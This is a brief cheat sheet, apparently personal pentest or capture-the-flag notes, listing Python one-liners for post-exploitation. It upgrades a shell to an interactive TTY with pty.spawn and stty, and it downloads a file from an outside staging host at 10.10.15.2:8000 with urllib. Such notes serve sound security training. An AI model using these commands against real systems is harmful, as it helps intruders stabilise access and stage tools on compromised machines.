Python
python -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
control+z
stty raw -echo; fg
python3 -c 'import urllib.request;urllib.request.urlretrieve("http://10.10.15.2:8000/try.txt", "try.txt")'
python2.7 -c 'import urllib;urllib.urlretrieve ("http://10.10.15.2:8000/try.txt", "try.txt")'
Last updated